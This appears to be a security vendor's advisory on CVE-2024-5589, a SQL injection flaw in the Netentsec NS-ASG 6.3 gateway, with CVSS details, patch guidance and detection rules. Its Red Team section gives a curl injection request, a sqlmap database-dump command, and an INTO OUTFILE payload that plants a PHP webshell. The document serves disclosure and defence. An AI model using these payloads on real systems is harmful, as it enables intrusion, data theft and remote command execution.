CVE-2024-5589

Executive Summary

CVE-2024-5589 is a critical SQL injection vulnerability in the Netentsec NS-ASG Application Security Gateway version 6.3. The flaw resides in the /admin/config_MT.php?action=delete endpoint, where the Mid parameter is not properly sanitized, allowing an unauthenticated remote attacker to execute arbitrary SQL commands. This can lead to full database compromise, including extraction of sensitive data, authentication bypass, and potential lateral movement within the network. The vendor has not responded to disclosure attempts, and no official patch is available. Public exploit code has been released, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the delete action of the config_MT.php script. The Mid parameter is directly concatenated into an SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by manipulating the Mid parameter, for example:

GET /admin/config_MT.php?action=delete&Mid=1' OR '1'='1

This can result in:

• Data exfiltration: Dumping the entire database, including user credentials, configuration data, and session tokens.
• Authentication bypass: Modifying SQL queries to bypass login checks.
• Remote code execution: In some configurations, SQL injection can be leveraged to write files to the server or execute system commands via xp_cmdshell (if enabled) or other database features.

The application is a security gateway, meaning it sits at the network perimeter, making this a high-value target for attackers.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$mid = $_GET['Mid'];
$sql = "DELETE FROM config_table WHERE id = $mid";
$result = mysqli_query($conn, $sql);

Patched Code (Conceptual):

$mid = intval($_GET['Mid']);
$sql = "DELETE FROM config_table WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $mid);
mysqli_stmt_execute($stmt);

The patched version uses parameterized queries and type casting to prevent injection. Since no official patch exists, users must implement these mitigations manually.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Netentsec NS-ASG 6.3 in a virtualized environment.
2. Ensure the web interface is accessible on port 80/443.

Exploitation:

1. Use a simple HTTP request to test for SQL injection:

   curl "http://target/admin/config_MT.php?action=delete&Mid=1' OR '1'='1"
   

2. For data extraction, use a tool like sqlmap:

   sqlmap -u "http://target/admin/config_MT.php?action=delete&Mid=1" --batch --dbs
   

3. To achieve a more advanced attack, attempt to write a webshell:

   ' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php" -- -
   

Blue Team

Detection:

• Monitor for unusual SQL error messages in logs.
• Look for HTTP requests containing SQL keywords (OR, UNION, SELECT, INTO OUTFILE) in the Mid parameter.
• Use WAF rules to block suspicious patterns.

Mitigation:

• Immediately isolate affected devices if possible.
• Implement input validation and parameterized queries.
• Apply virtual patching via WAF.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /admin/config_MT.php?action=delete with abnormal Mid parameter values.
  • SQL error messages in server logs (e.g., "You have an error in your SQL syntax").
• File System:
  • Unexpected files in web root (e.g., shell.php, cmd.php).
  • Modified configuration files.
• Database:
  • Unauthorized queries or data exports.
  • New database users or privileges.

Detection Engineering

YARA Rule

rule CVE_2024_5589_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-5589"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5589"
    strings:
        $sqli1 = "Mid=" nocase
        $sqli2 = "OR" nocase
        $sqli3 = "UNION" nocase
        $sqli4 = "SELECT" nocase
        $sqli5 = "INTO OUTFILE" nocase
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2024-5589 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Netentsec NS-ASG
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/config_MT.php?action=delete&Mid='
        cs-uri-query|contains|all:
            - 'OR'
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of these keywords in parameter values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5589 SQL Injection Attempt"; flow:to_server,established; content:"/admin/config_MT.php?action=delete&Mid="; http_uri; content:"OR"; http_uri; content:"UNION"; http_uri; content:"SELECT"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate:

   • Disable the vulnerable endpoint if not required.
   • Apply a WAF rule to block SQL injection patterns.
   • Restrict network access to the admin interface.

2. Short-term:

   • Manually patch the code by implementing parameterized queries.
   • Upgrade to a patched version if released.

3. Long-term:

   • Conduct a full security audit of the application.
   • Implement secure coding practices (input validation, prepared statements).
   • Establish a vulnerability disclosure program.

Valters IT – Securing your digital frontier.